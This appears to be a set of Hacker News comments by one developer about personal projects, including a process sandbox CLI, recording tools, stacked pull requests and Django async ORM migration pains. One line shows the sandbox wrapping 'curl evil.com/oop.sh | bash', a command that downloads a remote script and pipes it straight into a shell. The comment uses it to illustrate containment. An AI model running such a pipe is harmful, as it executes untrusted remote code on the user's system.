HN user
I vibed a project on this recently, it has some language bindings and a cli written in rust, python subprocess monkey patching etc.
Just no nonsense defaults with a bit of customization.
https://github.com/allen-munsch/bubbleproc
bubbleproc -- curl evil.com/oop.sh | bash
Tried my hand at implementing the theory, from the text, without looking at any code examples: https://github.com/allen-munsch/quicksilver
Roughly correlated to what I was seeing, though i don't know any of the secret sauce.
Thought some folks here might find it useful, was getting sick of loom. Been using this with simplescreenrecorder, obs studio. On my daily driver System76 Gazelle with pop_os!
Same, I've been using this cron script for that: https://github.com/allen-munsch/obsidian-daily-cron/tree/mai...
Great post. I felt inspired and wired it up to whisper.
- https://github.com/allen-munsch/hey_gpt_hey_whisper/blob/mai...
I was wondering if this might be related to elastic's "several customer facing deployments deleted across multiple regions" issue from earlier today? The timing seemed to line up a bit.
There's a nice article here: https://jg.gg/2018/09/29/stacked-diffs-versus-pull-requests/
sort of, but without the commit lineage requirements? I haven't used Gerrit.
It's currently a few lines, looks for the branches and commits based on some strings, and prepares a bash script to run the gh cli to open PRs that are chained/stacked together. Was looking at these for reference.
- https://jg.gg/2018/09/29/stacked-diffs-versus-pull-requests/ - https://github.com/arxanas/git-branchless - https://cli.github.com/manual/gh_pr - https://github.com/arxanas/git-branchless/discussions/45 - https://github.com/stacked-git/stgit/ - https://stackoverflow.com/questions/26619478/are-dependent-p... - https://gist.github.com/Jlevyd15/66743bab4982838932dda4f13f2...
And was hoping for something simple-ish.
very cool. would be nice to be able to spin separate rooms for meeting Q and A, or in the moment commenting. it's an interesting take on commenting.
like comment threading, timeouts, mental map like comment grouping.
like evernote and visual programming, but for short lived comments,
for an ongoing discussion see: https://forum.djangoproject.com/t/asynchronous-orm/5925/46
I'm not sure if its official. Would love some more guidance/clarity/docs/funding from the django foundation on what it looks like to migrate legacy code to the new ways.
The rednaks repo works great for just giving the new async stuff a go. If everything else is also using async.
I did some experimentation with this. And its a pain trying to migrate a production application that uses gevent and psycogreen2.
The documentation on the code migration path is pretty sparse.
The main hiccup that I ran into was psycogreen2 not being supported.
https://stackoverflow.com/questions/67735453/django-async-or...
https://github.com/rednaks/django-async-orm/discussions/9 https://github.com/rednaks/django-async-orm/discussions/6
Everything works great if everything is already using the regular threading and asyncio/async methods, or JUST gevent/psycogreen.
The django documentation suggests mounting WSGI into ASGI.
But, it breaks down immediately going between the two paradigms.
I put a little experiment together a bit ago to see what would work in production, and my results.